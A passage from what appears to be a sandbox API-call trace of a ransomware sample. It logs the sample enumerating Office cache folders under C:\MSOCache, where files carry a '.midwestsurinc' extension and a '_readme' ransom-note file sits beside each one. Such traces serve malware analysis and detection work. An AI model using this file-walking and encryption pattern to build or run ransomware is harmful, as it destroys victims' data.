nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.320] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b3c0550, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b3c0550, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0228.320] GetLastError () returned 0x12 [0228.320] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f69f0) returned 1 [0228.320] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0228.321] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.321] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4680) returned 1 [0228.321] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0228.321] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56b60fd0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x56b60fd0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.321] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0228.321] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56e349f0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x56e349f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.321] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0228.321] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56e80cb0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x56e80cb0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.321] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56e80cb0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x56e80cb0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0228.321] GetLastError () returned 0x12 [0228.321] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4470) returned 1 [0228.321] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0228.321] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4578) returned 1 [0228.321] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3a58) returned 1 [0228.321] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7c4a70, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5b7c4a70, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0228.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.321] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7c4a70, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5b7c4a70, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0228.444] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0228.444] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0228.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0228.444] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0228.444] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0228.444] NtClose (Handle=0x1ac) returned 0x0 [0228.444] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3a58 [0228.444] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4470 [0228.444] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0228.818] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7c4a70, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5b7c4a70, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.818] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0228.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.818] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b4a4d90, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b4a4d90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.818] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0228.818] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.818] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.818] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b4caef0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b4caef0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.819] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0228.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.819] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b7c4a70, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b7c4a70, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.819] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0228.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4578 [0228.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3f48 [0228.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4680 [0228.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.819] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0228.819] GetLastError () returned 0x12 [0228.819] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0228.819] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0228.820] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7c4a70, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5b7c4a70, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.820] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0228.820] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b4a4d90, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b4a4d90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.820] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0228.820] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b4caef0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b4caef0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.820] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0228.820] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b7c4a70, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b7c4a70, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.820] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0228.820] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0228.820] GetLastError () returned 0x12 [0228.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4470) returned 1 [0228.820] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0228.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4578) returned 1 [0228.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3a58) returned 1 [0228.821] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0228.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.821] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0228.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0228.821] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0228.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0228.821] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0228.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0228.822] NtClose (Handle=0x1b4) returned 0x0 [0228.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3a58 [0228.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4470 [0228.822] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0228.997] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, 